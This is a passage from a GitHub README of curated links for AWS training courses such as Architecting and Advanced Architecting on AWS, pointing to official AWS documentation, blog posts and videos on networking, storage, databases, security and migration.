| [Security Engineering on AWS](https://github.com/brunokktro/auladobruno#security-engineering-on-aws) |
| [Running Containers on Amazon Elastic Kubernetes Service](https://github.com/brunokktro/auladobruno#running-containers-on-amazon-elastic-kubernetes-service) |
| [Arquiteturas de Referência & Tools](https://github.com/brunokktro/auladobruno#arquiteturas-de-refer%C3%AAncia--tools) |
| [Workshops & Laboratórios](https://github.com/brunokktro/auladobruno#workshops--laborat%C3%B3rios) |
---
### Architecting on AWS
* [AWS Cloud Services (Catalog)](https://aws.amazon.com/products/?pg=WIAWS-mstf)
* [AWS Global Cloud Infrastructure Map](https://infrastructure.aws/)
* [AWS Global Infrastructure Regions](https://aws.amazon.com/about-aws/global-infrastructure/)
* [Learn how we secure AWS data centers](https://aws.amazon.com/compliance/data-center/)
* [Compute Abstractions on AWS: A Visual Story](https://aws.amazon.com/blogs/architecture/compute-abstractions-on-aws-a-visual-story/)
* [AWS Well-Architected - Learn, measure, and build using architectural best practices](https://aws.amazon.com/architecture/well-architected/)
* [AWS Well-Architected Framework](https://wa.aws.amazon.com/index.html)
* [Financial Services Industry Lens - AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/financial-services-industry-lens/welcome.html)
* [AWS Well-Architected Tool – Review Workloads Against Best Practices](https://aws.amazon.com/blogs/aws/new-aws-well-architected-tool-review-workloads-against-best-practices/)
* [AWS Well-Architected Tool – DEMO](https://d3nn3d4w2aqyem.cloudfront.net/mp4/Getting_started_video.mp4)
* [Nine Ways to Reduce Your AWS Bill](https://pages.awscloud.com/Nine-Ways-to-Reduce-Your-AWS-Bill_2020_0008-CMP_OD.html)
* [Desmistificando as 9 formas de reduzir custos na AWS](https://youtu.be/znw6iCWDpIQ)
* [Conhecendo um pouco mais sobre o Graviton2](https://aws.amazon.com/pt/blogs/aws-brasil/conhecendo-um-pouco-mais-sobre-o-graviton2/)
* [Amazon S3 + Amazon CloudFront: A Match Made in the Cloud](https://aws.amazon.com/blogs/networking-and-content-delivery/amazon-s3-amazon-cloudfront-a-match-made-in-the-cloud/)
* [How to set up a CloudFront distribution for Amazon S3](https://aws.amazon.com/cloudfront/getting-started/S3/)
* [Overview of Managing Access on S3](https://docs.aws.amazon.com/AmazonS3/latest/dev/access-control-overview.html#so-which-one-should-i-use)
* [Diving Deep on S3 Consistency](https://www.allthingsdistributed.com/2021/04/s3-strong-consistency.html)
* [Amazon S3 Path Deprecation Plan – The Rest of the Story](https://aws.amazon.com/blogs/aws/amazon-s3-path-deprecation-plan-the-rest-of-the-story/)
* [Amazon EC2 Instance Types](https://aws.amazon.com/ec2/instance-types/)
* [Spot Instance Advisor](https://aws.amazon.com/ec2/spot/instance-advisor/)
* [Running high-scale web applications on Amazon EC2 Spot Instances](https://aws.amazon.com/blogs/compute/running-high-scale-web-on-spot-instances/)
* [Amazon EC2 Auto Scaling Lifecycle Hooks](https://docs.aws.amazon.com/autoscaling/ec2/userguide/lifecycle-hooks.html)
* [Elastic Load Balancing and Amazon EC2 Auto Scaling](https://docs.aws.amazon.com/autoscaling/ec2/userguide/autoscaling-load-balancer.html)
* [Amazon EBS Volume Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html)
* [Recovering files from an Amazon EBS volume backup](https://aws.amazon.com/blogs/compute/recovering-files-from-an-amazon-ebs-volume-backup/)
* [New – Multi-Attach for Provisioned IOPS (io1) Amazon EBS Volumes](https://aws.amazon.com/blogs/aws/new-multi-attach-for-provisioned-iops-io1-amazon-ebs-volumes/)
* [Can I use EBS Multi-Attach volumes to enable multiple EC2 instances to simultaneously access a standard file system?](https://aws.amazon.com/premiumsupport/knowledge-center/ebs-access-volumes-using-multi-attach/)
* [Working with Aurora Multi-Master Clusters](https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/aurora-multi-master.html)
* [Amazon Aurora Backtrack – Turn Back Time](https://aws.amazon.com/blogs/aws/amazon-aurora-backtrack-turn-back-time/)
* [Amazon DynamoDB - Choosing Initial Throughput Settings ](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/ProvisionedThroughput.html#ProvisionedThroughput.CapacityUnits.InitialSettings)
* [Best Practices for Designing and Architecting with DynamoDB](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/best-practices.html)
* [Best Practices for Designing and Using Partition Keys Effectively ](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/bp-partition-key-design.html)
* [Building resiliency at scale at Tinder with Amazon ElastiCache](https://aws.amazon.com/blogs/database/building-resiliency-at-scale-at-tinder-with-amazon-elasticache/)
* [How to work with Cluster Mode on Amazon ElastiCache for Redis](https://aws.amazon.com/blogs/database/work-with-cluster-mode-on-amazon-elasticache-for-redis/)
* [Comparing Redis and Memcached](https://aws.amazon.com/elasticache/redis-vs-memcached/)
* [Common ElastiCache Use Cases and How ElastiCache Can Help](https://docs.aws.amazon.com/AmazonElastiCache/latest/red-ug/elasticache-use-cases.html)
* [Introducing Amazon Elasticsearch Service as a target in AWS Database Migration Service](https://aws.amazon.com/blogs/database/introducing-amazon-elasticsearch-service-as-a-target-in-aws-database-migration-service/)
* [Migration Complete – Amazon’s Consumer Business Just Turned off its Final Oracle Database](https://aws.amazon.com/blogs/aws/migration-complete-amazons-consumer-business-just-turned-off-its-final-oracle-database/)
* [Scaling Your Amazon RDS Instance Vertically and Horizontally](https://aws.amazon.com/blogs/database/scaling-your-amazon-rds-instance-vertically-and-horizontally/)
* [Right-size Amazon RDS instances at scale based on Oracle performance metrics](https://aws.amazon.com/blogs/database/right-sizing-amazon-rds-instances-at-scale-based-on-oracle-performance-metrics/)
* [Using in-Region read replicas in Amazon RDS for SQL Server](https://aws.amazon.com/blogs/database/using-in-region-read-replicas-in-amazon-rds-for-sql-server/)
* [New – AWS Storage Gateway Hardware Appliance](https://aws.amazon.com/blogs/aws/new-aws-storage-gateway-hardware-appliance/)
* [Expanded availability and streamlined ordering of the AWS Storage Gateway Hardware Appliance](https://aws.amazon.com/blogs/storage/expanded-availability-and-streamlined-ordering-of-the-aws-storage-gateway-hardware-appliance/)
* [Using static IP addresses for Application Load Balancers](https://aws.amazon.com/blogs/networking-and-content-delivery/using-static-ip-addresses-for-application-load-balancers/)
* [New – Application Load Balancer Simplifies Deployment with Weighted Target Groups](https://aws.amazon.com/blogs/aws/new-application-load-balancer-simplifies-deployment-with-weighted-target-groups/)
* [How to securely publish Internet applications at scale using Application Load Balancer and AWS PrivateLink](https://aws.amazon.com/blogs/networking-and-content-delivery/how-to-securely-publish-internet-applications-at-scale-using-application-load-balancer-and-aws-privatelink/)
* [Debugging tool for network connectivity from Amazon VPC](https://aws.amazon.com/blogs/networking-and-content-delivery/debugging-tool-for-network-connectivity-from-amazon-vpc/)
* [Multiple Region Multi-VPC Connectivity](https://aws.amazon.com/answers/networking/aws-multiple-region-multi-vpc-connectivity/)
* [Working with Direct Connect Gateways](https://docs.aws.amazon.com/directconnect/latest/UserGuide/direct-connect-gateways.html)
* [AWS Direct Connect Partners](https://aws.amazon.com/directconnect/partners/)
* [How do I provision an AWS Direct Connect connection?](https://aws.amazon.com/premiumsupport/knowledge-center/provision-direct-connection/)
* [Building a Serverless Dynamic DNS System with AWS](https://aws.amazon.com/blogs/startups/building-a-serverless-dynamic-dns-system-with-aws/)
* [How do I create an IAM policy to control access to Amazon EC2 resources using tags?](https://aws.amazon.com/premiumsupport/knowledge-center/iam-ec2-resource-tags/)
* [Simplify granting access to your AWS resources by using tags on AWS IAM users and roles](https://aws.amazon.com/blogs/security/simplify-granting-access-to-your-aws-resources-by-using-tags-on-aws-iam-users-and-roles/)
* [Writing IAM Policies: Grant Access to User-Specific Folders in an Amazon S3 Bucket](https://aws.amazon.com/blogs/security/writing-iam-policies-grant-access-to-user-specific-folders-in-an-amazon-s3-bucket/)
* [IAM Policies and Bucket Policies and ACLs! Oh, My! (Controlling Access to S3 Resources)](https://aws.amazon.com/blogs/security/iam-policies-and-bucket-policies-and-acls-oh-my-controlling-access-to-s3-resources/)
* [Now Create and Manage AWS IAM Roles More Easily with the Updated IAM Console](https://aws.amazon.com/blogs/security/now-create-and-manage-aws-iam-roles-more-easily-with-the-updated-iam-console/)
* [Guidelines for protecting your AWS account while using programmatic access](https://aws.amazon.com/blogs/security/guidelines-for-protecting-your-aws-account-while-using-programmatic-access/)
* [Creating a Billing Alarm to Monitor Your Estimated AWS Charges ](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/monitor_estimated_charges_with_cloudwatch.html)
* [How to better monitor your custom application metrics using Amazon CloudWatch Agent](https://aws.amazon.com/blogs/devops/new-how-to-better-monitor-your-custom-application-metrics-using-amazon-cloudwatch-agent/)
* [CloudWatch Search Expression Examples](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/search-expression-examples.html)
* [Upgrading to Amazon EventBridge from Amazon CloudWatch Events](https://aws.amazon.com/blogs/compute/upgrading-to-amazon-eventbridge-from-amazon-cloudwatch-events/)
* [CloudWatch Logs Subscription Consumer + Elasticsearch + Kibana Dashboards](https://aws.amazon.com/blogs/aws/cloudwatch-logs-subscription-consumer-elasticsearch-kibana-dashboards/)
* [Running Scripts from GitHub and Amazon S3 ](https://docs.aws.amazon.com/systems-manager/latest/userguide/integration-remote-scripts.html)
* [Validating AWS CloudFormation Templates](https://aws.amazon.com/blogs/devops/validating-aws-cloudformation-templates/)
* [Amazon CloudFront – Support for Dynamic Content](https://aws.amazon.com/blogs/aws/amazon-cloudfront-support-for-dynamic-content/)
* [Amazon CloudFront Dynamic Content Delivery](https://aws.amazon.com/cloudfront/dynamic-content/)
* [Can I use a single CloudFront web distribution to serve content from multiple origins using multiple behaviors?](https://aws.amazon.com/premiumsupport/knowledge-center/cloudfront-distribution-serve-content/)
* [Implementation Considerations - Learn Caching Design Patterns](https://aws.amazon.com/caching/implementation-considerations/)
* [Caching Content Based on Query String Parameters](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/QueryStringParameters.html)
* [Amazon API Gateway - Enabling API caching to enhance responsiveness](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-caching.html)
* [Powering Gaming Applications with Amazon DynamoDB](https://aws.amazon.com/blogs/big-data/powering-gaming-applications-with-amazon-dynamodb/)
* [Amazon DynamoDB: Gaming use cases and design patterns](https://aws.amazon.com/blogs/database/amazon-dynamodb-gaming-use-cases-and-design-patterns/)
* [AWS Serverless Application Model](https://aws.amazon.com/serverless/sam/)
* [Introducing AWS SAM Pipelines: Automatically generate deployment pipelines for serverless applications](https://aws.amazon.com/blogs/compute/introducing-aws-sam-pipelines-automatically-generate-deployment-pipelines-for-serverless-applications/)
* [Firecracker – Lightweight Virtualization for Serverless Computing](https://aws.amazon.com/blogs/aws/firecracker-lightweight-virtualization-for-serverless-computing/)
* [Video on Demand on AWS](https://aws.amazon.com/solutions/implementations/video-on-demand-on-aws/)
* [Cross-Region Backups](https://docs.aws.amazon.com/aws-backup/latest/devguide/how-it-works-cross-region-replication.html)
* [Chaos Monkey](https://netflix.github.io/chaosmonkey/)
* [How do I close my AWS account?](https://aws.amazon.com/premiumsupport/knowledge-center/close-aws-account/)
### Advanced Architecting on AWS
* [Getting started with tag policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_tag-policies-getting-started.html)
* [AWS Config: Checking for Compliance with New Managed Rule Options](https://aws.amazon.com/blogs/devops/aws-config-checking-for-compliance-with-new-managed-rule-options/)
* [AWS re:Invent 2019: Advanced VPC design and new capabilities for Amazon VPC](https://youtu.be/7acKgdDOOu4)
* [Route 53 - Choosing between alias and non-alias records](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/resource-record-sets-choosing-alias-non-alias.html)
* [New – Application Load Balancing via IP Address to AWS & On-Premises Resources](https://aws.amazon.com/blogs/aws/new-application-load-balancing-via-ip-address-to-aws-on-premises-resources/)
* [Amazon VPC for On-Premises Network Engineers – Part 1](https://aws.amazon.com/blogs/apn/amazon-vpc-for-on-premises-network-engineers-part-one/)
* [Amazon VPC for On-Premises Network Engineers – Part 2](https://aws.amazon.com/blogs/apn/amazon-vpc-for-on-premises-network-engineers-part-two/)
* [How do I increase my security group limits in Amazon VPC?](https://aws.amazon.com/premiumsupport/knowledge-center/increase-security-group-rule-limit/)
* [Simplify network routing and security administration with VPC Prefix Lists](https://aws.amazon.com/blogs/networking-and-content-delivery/simplify-network-routing-and-security-administration-with-vpc-prefix-lists/)
* [Overlay Multicast in Amazon Virtual Private Cloud](https://aws.amazon.com/articles/overlay-multicast-in-amazon-virtual-private-cloud/)
* [How to run Schneider Electric’s Responder OMS using AWS Transit Gateway multicast](https://aws.amazon.com/blogs/publicsector/how-to-run-schneider-electrics-responder-oms-using-aws-transit-gateway-multicast/)
* [Connecting Networks with Overlapping IP Ranges](https://aws.amazon.com/pt/blogs/networking-and-content-delivery/connecting-networks-with-overlapping-ip-ranges/)
* [Transit Gateway vs VPC peering](https://docs.aws.amazon.com/whitepapers/latest/building-scalable-secure-multi-vpc-network-infrastructure/transit-gateway-vs-vpc-peering.html)
* [Building a global network using AWS Transit Gateway Inter-Region peering](https://aws.amazon.com/blogs/networking-and-content-delivery/building-a-global-network-using-aws-transit-gateway-inter-region-peering/)
* [Simplify SD-WAN connectivity with AWS Transit Gateway Connect](https://aws.amazon.com/blogs/networking-and-content-delivery/simplify-sd-wan-connectivity-with-aws-transit-gateway-connect/)
* [Building a Scalable and Secure Multi-VPC AWS Network Infrastructure](https://docs.aws.amazon.com/whitepapers/latest/building-scalable-secure-multi-vpc-network-infrastructure/introduction.html)
* [Introducing Bring Your Own IP (BYOIP) for Amazon VPC](https://aws.amazon.com/blogs/networking-and-content-delivery/introducing-bring-your-own-ip-byoip-for-amazon-vpc/)
* [Configurable Reverse DNS for Amazon EC2’s Elastic IP Addresses](https://aws.amazon.com/blogs/aws/reverse-dns-for-ec2s-elastic-ip-addresses/)
* [How can I set up Active-Passive failover with geolocation records in Route 53?](https://aws.amazon.com/premiumsupport/knowledge-center/route-53-active-passive-failover/)
* [Using redundant Site-to-Site VPN connections to provide failover](https://docs.aws.amazon.com/vpn/latest/s2svpn/vpn-redundant-connection.html)
* [Scaling VPN throughput using AWS Transit Gateway](https://aws.amazon.com/blogs/networking-and-content-delivery/scaling-vpn-throughput-using-aws-transit-gateway/)
* [How do I create a certificate-based VPN using AWS Site-to-Site VPN?](https://aws.amazon.com/premiumsupport/knowledge-center/vpn-certificate-based-site-to-site/#)
* [Configurando uma conexão VPN site a site entre a AWS e o Azure](https://aws.amazon.com/pt/blogs/aws-brasil/configurando-uma-conexao-vpn-site-a-site-entre-a-aws-e-o-azure/)
* [Improve VPN Network Performance of AWS Hybrid Cloud with Global Accelerator](https://aws.amazon.com/blogs/architecture/improve-vpn-network-performance-of-aws-hybrid-cloud-with-global-accelerator/)
* [Configure and Deploy AWS PrivateLink](https://www.aws.training/Details/eLearning?id=54077)
* [AWS PrivateLink Update – VPC Endpoints for Your Own Applications & Services](https://aws.amazon.com/blogs/aws/aws-privatelink-update-vpc-endpoints-for-your-own-applications-services/)
* [Integrating AWS Transit Gateway with AWS PrivateLink and Amazon Route 53 Resolver](https://aws.amazon.com/blogs/networking-and-content-delivery/integrating-aws-transit-gateway-with-aws-privatelink-and-amazon-route-53-resolver/)
* [Interface endpoint properties and limitations (PrivateLink Limitations)](https://docs.aws.amazon.com/vpc/latest/privatelink/vpce-interface.html#vpce-interface-limitations)
* [How can I use AWS RAM to share Route 53 Resolver rules across multiple VPCs and AWS accounts?](https://aws.amazon.com/premiumsupport/knowledge-center/route-53-share-resolver-rules-with-ram/)
* [Centralized DNS management of hybrid cloud with Amazon Route 53 and AWS Transit Gateway](https://aws.amazon.com/blogs/networking-and-content-delivery/centralized-dns-management-of-hybrid-cloud-with-amazon-route-53-and-aws-transit-gateway/)
* [How can I configure VPN as a backup for my AWS Direct Connect connection?](https://aws.amazon.com/premiumsupport/knowledge-center/configure-vpn-backup-dx/)
* [How do I configure Direct Connect and VPN failover with Transit Gateway?](https://aws.amazon.com/premiumsupport/knowledge-center/dx-configure-dx-and-vpn-failover-tgw/)
* [VPN connection as a backup to AWS DX connection example](https://docs.aws.amazon.com/whitepapers/latest/hybrid-connectivity/vpn-connection-as-a-backup-to-aws-dx-connection-example.html)
* [How to order AWS Direct Connect using the Equinix Fabric Portal](https://youtu.be/CixDJnubw-4)
* [How do I provision a new link aggregation group (LAG) using AWS Direct Connect connections?](https://aws.amazon.com/premiumsupport/knowledge-center/provision-lag-dx/)
* [What’s the difference between a hosted virtual interface (VIF) and a hosted connection?](https://aws.amazon.com/premiumsupport/knowledge-center/direct-connect-types/)
* [Setting up AWS Direct Connect gateway to route DX traffic to any AWS Region](https://aws.amazon.com/blogs/networking-and-content-delivery/setting-up-aws-direct-connect-gateway-to-route-dx-traffic-to-any-aws-region/)
* [AWS Solution – Transit VPC](https://aws.amazon.com/blogs/aws/aws-solution-transit-vpc/)
* [How to integrate third-party firewall appliances into an AWS environment](https://aws.amazon.com/blogs/networking-and-content-delivery/how-to-integrate-third-party-firewall-appliances-into-an-aws-environment/)
* [New – VPC Ingress Routing – Simplifying Integration of Third-Party Appliances](https://aws.amazon.com/blogs/aws/new-vpc-ingress-routing-simplifying-integration-of-third-party-appliances/)
* [VPC sharing: A new approach to multiple accounts and VPC management](https://aws.amazon.com/blogs/networking-and-content-delivery/vpc-sharing-a-new-approach-to-multiple-accounts-and-vpc-management/)
* [Using VPC Sharing for a Cost-Effective Multi-Account Microservice Architecture](https://aws.amazon.com/blogs/architecture/using-vpc-sharing-for-a-cost-effective-multi-account-microservice-architecture/)
* [Securing VPCs Egress using IDS/IPS leveraging Transit Gateway](https://aws.amazon.com/blogs/networking-and-content-delivery/securing-egress-using-ids-ips-leveraging-transit-gateway/)
* [Deployment models for AWS Network Firewall](https://aws.amazon.com/blogs/networking-and-content-delivery/deployment-models-for-aws-network-firewall/)
* [Centralized inspection architecture with AWS Gateway Load Balancer and AWS Transit Gateway](https://aws.amazon.com/blogs/networking-and-content-delivery/centralized-inspection-architecture-with-aws-gateway-load-balancer-and-aws-transit-gateway/)
* [Deploy an Elastic HPC Cluster](https://aws.amazon.com/getting-started/hands-on/deploy-elastic-hpc-cluster/)
* [Securely extend and access on-premises Active Directory domain controllers in AWS](https://aws.amazon.com/blogs/security/securely-extend-and-access-on-premises-active-directory-domain-controllers-in-aws/)
* [How to Connect Your On-Premises Active Directory to AWS Using AD Connector](https://aws.amazon.com/blogs/security/how-to-connect-your-on-premises-active-directory-to-aws-using-ad-connector/)
* [Integrando o AWS Directory Service com o AWS Console – AD Connector](https://aws.amazon.com/pt/blogs/aws-brasil/integrando-o-aws-directory-service-com-o-aws-console-ad-connector/)
* [AWS AD Connector – o curioso caso de falha em localização de objetos](https://aws.amazon.com/pt/blogs/aws-brasil/aws-ad-connector-o-curioso-caso-de-falha-em-localizacao-de-objetos/)
* [How to migrate your on-premises domain to AWS Managed Microsoft AD using ADMT](https://aws.amazon.com/blogs/security/how-to-migrate-your-on-premises-domain-to-aws-managed-microsoft-ad-using-admt/)
* [How to Switch Easily Between AWS Accounts by Using the AWS Management Console and AWS Directory Service](https://aws.amazon.com/blogs/security/how-to-switch-easily-between-aws-accounts-by-using-the-aws-management-console-and-aws-directory-service/)
* [How do I use the AWS CLI to perform a multipart upload of a file to Amazon S3?](https://aws.amazon.com/premiumsupport/knowledge-center/s3-multipart-upload-cli/)
* [Building and Maintaining an Amazon S3 Metadata Index without Servers](https://aws.amazon.com/blogs/big-data/building-and-maintaining-an-amazon-s3-metadata-index-without-servers/)
* [How can I check the integrity of an object uploaded to Amazon S3?](https://aws.amazon.com/premiumsupport/knowledge-center/data-integrity-s3/)
* [Performance Design Patterns for Amazon S3](https://docs.aws.amazon.com/AmazonS3/latest/dev/optimizing-performance-design-patterns.html#optimizing-performance-parallelization)
* [S3 Select and Glacier Select – Retrieving Subsets of Objects](https://aws.amazon.com/blogs/aws/s3-glacier-select/)
* [AWS Snowball Device Differences](https://docs.aws.amazon.com/snowball/latest/ug/device-differences.html)
* [Best Practices for the AWS Snowball Edge Device](https://docs.aws.amazon.com/snowball/latest/developer-guide/BestPractices.html)
* [Enable password authentication for AWS Transfer for SFTP using AWS Secrets Manager](https://aws.amazon.com/blogs/storage/enable-password-authentication-for-aws-transfer-for-sftp-using-aws-secrets-manager/)
* [Optimizing WordPress performance with Amazon EFS](https://aws.amazon.com/blogs/storage/optimizing-wordpress-performance-with-amazon-efs/)
* [Use the Serverless Developer Portal to Catalog Your API Gateway APIs ](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-developer-portal.html)
* [How to use service control policies to set permission guardrails across accounts in your AWS Organization](https://aws.amazon.com/blogs/security/how-to-use-service-control-policies-to-set-permission-guardrails-across-accounts-in-your-aws-organization/)
* [Manage Software Licenses with AWS License Manager – DEMO](https://youtu.be/ikL5Axehutk)
* [AWS RAM - Shareable AWS resources](https://docs.aws.amazon.com/ram/latest/userguide/shareable.html)
* [AWS RAM managed permissions](https://docs.aws.amazon.com/ram/latest/userguide/permissions.html)
* [Managing AWS resources across multiple accounts and Regions using AWS Systems Manager Automation](https://aws.amazon.com/blogs/mt/managing-aws-resources-across-multiple-accounts-and-regions-using-aws-systems-manager-automation/)
* [How Moody’s uses AWS Systems Manager to patch servers across multiple cloud providers](https://aws.amazon.com/blogs/mt/how-moodys-uses-aws-systems-manager-to-patch-servers-across-multiple-cloud-providers/)
* [Centralized multi-account and multi-Region patching with AWS Systems Manager Automation](https://aws.amazon.com/blogs/mt/centralized-multi-account-and-multi-region-patching-with-aws-systems-manager-automation/)
* [Understanding Burst vs. Baseline Performance with Amazon RDS and GP2](https://aws.amazon.com/blogs/database/understanding-burst-vs-baseline-performance-with-amazon-rds-and-gp2/)
* [Scaling Based on Amazon SQS](https://docs.aws.amazon.com/autoscaling/ec2/userguide/as-using-sqs-queue.html)
* [Under the Hood: AWS CodeDeploy and Auto Scaling Integration](https://aws.amazon.com/blogs/devops/under-the-hood-aws-codedeploy-and-auto-scaling-integration/)
* [Elastic Beanstalk - Advanced environment customization with configuration files (.ebextensions)](https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/ebextensions.html)
* [New – Amazon Connect and Amazon Lex Integration](https://aws.amazon.com/blogs/aws/new-amazon-connect-and-amazon-lex-integration/)
* [Integrating Amazon SES with Microsoft Exchange](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/send-email-exchange.html)
* [Integrating Amazon SES with your existing email server](https://docs.aws.amazon.com/ses/latest/dg/send-email-smtp-existing-server.html)
* [How to use domain with Amazon SES in multiple accounts or regions](https://aws.amazon.com/blogs/messaging-and-targeting/how-to-use-domain-with-amazon-ses-in-multiple-accounts-or-regions/)
* [AWS Server Migration Service – Server Migration to the Cloud Made Easy](https://aws.amazon.com/blogs/apn/aws-server-migration-service-server-migration-to-the-cloud-made-easy/)
* [How to upgrade your legacy Windows applications to new versions of Windows Server without refactoring](https://aws.amazon.com/blogs/modernizing-with-aws/how-to-upgrade-your-legacy-windows-applications-to-new-versions-of-windows-server-without-refactoring/)
* [Importing Data to an Amazon RDS MySQL or MariaDB DB Instance with Reduced Downtime](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/MySQL.Procedural.Importing.NonRDSRepl.html)
* [Strategies for Migrating Oracle Databases to AWS](https://d1.awsstatic.com/whitepapers/strategies-for-migrating-oracle-database-to-aws.pdf)
* [Migrating Oracle databases with near-zero downtime using AWS DMS](https://aws.amazon.com/blogs/database/migrating-oracle-databases-with-near-zero-downtime-using-aws-dms/)
* [Validating database objects after migration using AWS SCT and AWS DMS](https://aws.amazon.com/blogs/database/validating-database-objects-after-migration-using-aws-sct-and-aws-dms/)
* [Schema Conversion Tool blog series: Introducing new features in build 613](https://aws.amazon.com/blogs/database/schema-conversion-tool-blog-series-introducing-new-features-in-build-613/)
* [Enable large-scale database migrations with AWS DMS and AWS Snowball](https://aws.amazon.com/blogs/storage/enable-large-scale-database-migrations-with-aws-dms-and-aws-snowball/)
* [Query any data source with Amazon Athena’s new federated query](https://aws.amazon.com/blogs/big-data/query-any-data-source-with-amazon-athenas-new-federated-query/)
* [Using ‘athena-express’ to Simplify SQL Queries on Amazon Athena](https://aws.amazon.com/blogs/apn/using-athena-express-to-simplify-sql-queries-on-amazon-athena/)
* [Harmonize, Query, and Visualize Data from Various Providers using AWS Glue, Amazon Athena, and Amazon QuickSight](https://aws.amazon.com/blogs/big-data/harmonize-query-and-visualize-data-from-various-providers-using-aws-glue-amazon-athena-and-amazon-quicksight/)
* [Developing AWS Glue ETL jobs locally using a container](https://aws.amazon.com/pt/blogs/big-data/developing-aws-glue-etl-jobs-locally-using-a-container/)
* [Setting Up AWS Lake Formation](https://docs.aws.amazon.com/lake-formation/latest/dg/getting-started-setup.html)
* [Implicit Lake Formation Permissions](https://docs.aws.amazon.com/lake-formation/latest/dg/implicit-permissions.html)
* [Blueprints and Workflows in Lake Formation](https://docs.aws.amazon.com/lake-formation/latest/dg/workflows-about.html)
* [Security in AWS Lake Formation](https://docs.aws.amazon.com/lake-formation/latest/dg/security.html)
* [Using AWS Cost Explorer to analyze data transfer costs](https://aws.amazon.com/blogs/mt/using-aws-cost-explorer-to-analyze-data-transfer-costs/)
* [Best practices for resizing and automatic scaling in Amazon EMR](https://aws.amazon.com/blogs/big-data/best-practices-for-resizing-and-automatic-scaling-in-amazon-emr/)
* [Monitor and Optimize Analytic Workloads on Amazon EMR with Prometheus and Grafana](https://aws.amazon.com/blogs/big-data/monitor-and-optimize-analytic-workloads-on-amazon-emr-with-prometheus-and-grafana/)
* [DynamoDB Streams Use Cases and Design Patterns](https://aws.amazon.com/blogs/database/dynamodb-streams-use-cases-and-design-patterns/)
* [My DynamoDB table is being throttled](https://aws.amazon.com/premiumsupport/knowledge-center/dynamodb-table-throttled/)
* [AWS Outposts Now Available – Order Yours Today!](https://aws.amazon.com/blogs/aws/aws-outposts-now-available-order-your-racks-today/)
* [Deploy a highly available AWS Storage Gateway on a VMware vSphere cluster](https://aws.amazon.com/blogs/storage/deploy-a-highly-available-aws-storage-gateway-on-a-vmware-vsphere-cluster/)
* [How can I set up VMware High Availability on my file gateway?](https://aws.amazon.com/premiumsupport/knowledge-center/storage-gateway-file-vmware-ha-setup/)
* [Caching Overview on AWS](https://aws.amazon.com/caching/)
* [Deliver Your App’s Dynamic Content Using Amazon CloudFront – Getting Started Template](https://aws.amazon.com/blogs/networking-and-content-delivery/deliver-your-apps-dynamic-content-using-amazon-cloudfront-getting-started-template/)
* [Lambda@Edge Example Functions](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-examples.html)
* [Introducing CloudFront Functions – Run Your Code at the Edge with Low Latency at Any Scale](https://aws.amazon.com/es/blogs/aws/introducing-cloudfront-functions-run-your-code-at-the-edge-with-low-latency-at-any-scale/)
* [Using Amazon CloudWatch Lambda Insights to Improve Operational Visibility](https://aws.amazon.com/blogs/aws/using-amazon-cloudwatch-lambda-insights-to-improve-operational-visibility/)
* [Amazon Builder's Library - Caching challenges and strategies](https://aws.amazon.com/builders-library/caching-challenges-and-strategies/)
* [How to set up an outbound VPC proxy with domain whitelisting and content filtering](https://aws.amazon.com/blogs/security/how-to-set-up-an-outbound-vpc-proxy-with-domain-whitelisting-and-content-filtering/)
* [WordPress: Best Practices on AWS](https://aws.amazon.com/blogs/architecture/wordpress-best-practices-on-aws/)
* [AWS Best Practices for DDoS Resiliency](https://docs.aws.amazon.com/whitepapers/latest/aws-best-practices-ddos-resiliency/introduction-denial-of-service-attacks.html)
* [AWS Fault Injection Simulator – Use Controlled Experiments to Boost Resilience](https://aws.amazon.com/blogs/aws/aws-fault-injection-simulator-use-controlled-experiments-to-boost-resilience/)
* [Deploy a dashboard for AWS WAF with minimal effort](https://aws.amazon.com/blogs/security/deploy-dashboard-for-aws-waf-minimal-effort/)
* [WAF - Preconfigured Rules & Tutorials](https://aws.amazon.com/waf/preconfiguredrules/)
* [How do I block common attacks with AWS WAF?](https://aws.amazon.com/premiumsupport/knowledge-center/waf-block-common-attacks/)
* [AWS Managed Rules rule groups list](https://docs.aws.amazon.com/waf/latest/developerguide/aws-managed-rule-groups-list.html)
* [WAF Sandwich](https://www.cloudaxis.com/2016/11/21/waf-sandwich/)
* [Best practices for using AWS WAF CAPTCHA](https://docs.aws.amazon.com/waf/latest/developerguide/waf-captcha-best-practices.html)
* [AWS WAF CAPTCHA challenge puzzles](https://docs.aws.amazon.com/waf/latest/developerguide/waf-captcha-challenge.html)
* [How AWS WAF CAPTCHA works](https://docs.aws.amazon.com/waf/latest/developerguide/waf-captcha-how-it-works.html)
* [AWS Centralized WAF and VPC Security Group Management](https://aws.amazon.com/solutions/implementations/aws-centralized-waf-and-vpc-security-group-management/)
* [Subscribe to AWS Public IP Address Changes via Amazon SNS](https://aws.amazon.com/blogs/aws/subscribe-to-aws-public-ip-address-changes-via-amazon-sns/)
* [AWS Solutions - AWS Perspective](https://aws.amazon.com/solutions/implementations/aws-perspective/)
* [Create real-time clickstream sessions and run analytics with Amazon Kinesis Data Analytics, AWS Glue, and Amazon Athena](https://aws.amazon.com/blogs/big-data/create-real-time-clickstream-sessions-and-run-analytics-with-amazon-kinesis-data-analytics-aws-glue-and-amazon-athena/)
### Migrating to AWS
* [AWS Ramp-Up Guide: Migration](https://d1.awsstatic.com/training-and-certification/ramp-up_guides/Ramp-Up_Guide_Migration.pdf)
* [AWS Foundations: Strategies and Tools to Perform Large-Scale Migrations (Portuguese)](https://www.aws.training/Details/Video?id=73813)
